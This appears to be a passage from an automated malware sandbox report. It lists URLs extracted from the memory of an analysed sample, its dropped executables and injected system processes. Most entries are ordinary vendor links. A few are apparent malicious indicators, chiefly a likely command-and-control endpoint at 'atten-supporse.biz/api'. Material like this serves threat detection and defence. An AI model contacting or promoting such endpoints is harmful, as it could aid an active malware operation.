Source: 5467ed4ac5.exe, 00000035.00000003.2538006167.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2546091498.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2538926696.0000000005919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiS
Source: 5467ed4ac5.exe, 00000035.00000003.2574183813.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apip
Source: 5467ed4ac5.exe, 00000035.00000003.2758364410.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
Source: FCBAEHCA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/
Source: explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409864201.000001EE8B857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1407916478.000001EE8B86F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408453213.000001EE8B859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1410046877.000001EE8B871000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408269366.000001EE8B85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000002.00000003.1407814902.000001EE8B875000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1410086287.000001EE8B877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000002.00000003.1407814902.000001EE8B875000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1410086287.000001EE8B877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408453213.000001EE8B859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.1409940693.000001EE8B866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000002.00000003.1408050543.000001EE8B869000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409976897.000001EE8B86A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339B
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: FCBAEHCA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FCBAEHCA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000002.00000003.1408682390.000001EE8B831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000002.1409976897.000001EE8B86A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000002.00000003.1408269366.000001EE8B85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000002.00000002.1409940693.000001EE8B866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: FCBAEHCA.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/7dafd5f51c0afd1ae627bb4762ac0c140a6cd5f5
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp, c8297318cd.exe, 00000034.00000003.2274768711.0000000001E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
Source: file.exe, 00000000.00000003.1455200981.000000001DA69000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.0000000005928000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414241839.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414860088.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.0000000005934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: file.exe, 00000000.00000003.1455200981.000000001DA69000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414241839.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414860088.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.0000000005934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: 5467ed4ac5.exe, 00000035.00000003.2414860088.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.0000000005934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: file.exe, 00000000.00000003.1455200981.000000001DA69000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414241839.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414860088.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.0000000005934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0
Source: mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 5467ed4ac5.exe, 00000035.00000002.2791956090.0000000000931000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2636908923.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2488014647.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448465934.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447491880.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2537172301.000000000096D000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2485860528.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447915397.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2446931726.000000000096E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
Source: 5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com
Source: file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt/
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txtD
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com/
Source: file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com;
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fire
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.
Source: svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000002.00000002.1410014162.000001EE8B86E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1407967423.000001EE8B86D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409864201.000001EE8B857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
Source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2007743138.0000000005068000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/
Source: file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
Source: 5467ed4ac5.exe, 00000035.00000003.2414686317.000000000595C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.c(om/
Source: file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n
Source: file.exe, 00000000.00000002.1823835255.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=eicar
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/about/
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-GB/about/gro.allizom.www.
Source: file.exe, 00000000.00000002.1812862722.0000000001005000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/contribute/
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-GB/contribute/gro.allizom.www.
Source: file.exe, 00000000.00000002.1812862722.0000000001005000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/contribute/vchost.exe
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/central/
